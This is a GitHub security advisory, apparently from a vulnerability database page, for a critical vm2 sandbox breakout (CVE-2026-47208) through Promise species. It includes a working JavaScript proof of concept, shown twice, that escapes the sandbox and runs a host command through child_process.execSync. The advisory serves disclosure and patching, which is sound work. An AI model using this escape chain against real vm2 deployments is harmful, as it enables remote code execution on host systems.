GHSA-76W7-J9CQ-RX2J
Vulnerability from github – Published: 2026-05-29 17:40 – Updated: 2026-06-12 20:50Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47208"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T17:40:15Z",
"nvd_published_at": "2026-06-12T15:16:28Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nlet ex, ct;\nclass FakePromise extends Promise {\n\tstatic get [Symbol.species](){return ct;}\n}\nfunction doCatch(f) {\n\tex=undefined;\n\tconst p=Promise.withResolvers();\n\tct = function(e){e(f, v=\u003e{ex=v;p.resolve();})};\n\tnew FakePromise(r=\u003er());\n\treturn p.promise;\n}\n(async function f(s) {\n\tlet min = s;\n\tlet max = 100000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tawait doCatch(()=\u003eso(mid));\n\t\tif (ex.name===\"RangeError\" \u0026\u0026 !(ex instanceof RangeError)) {\n\t\t\tex.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t\t\treturn;\n\t\t}\n\t\tif (ex instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n\tf(s+1);\n})(0);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
"id": "GHSA-76w7-j9cq-rx2j",
"modified": "2026-06-12T20:50:55Z",
"published": "2026-05-29T17:40:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47208"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 is Vulnerable to Sandbox Breakout Through Promise Species"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.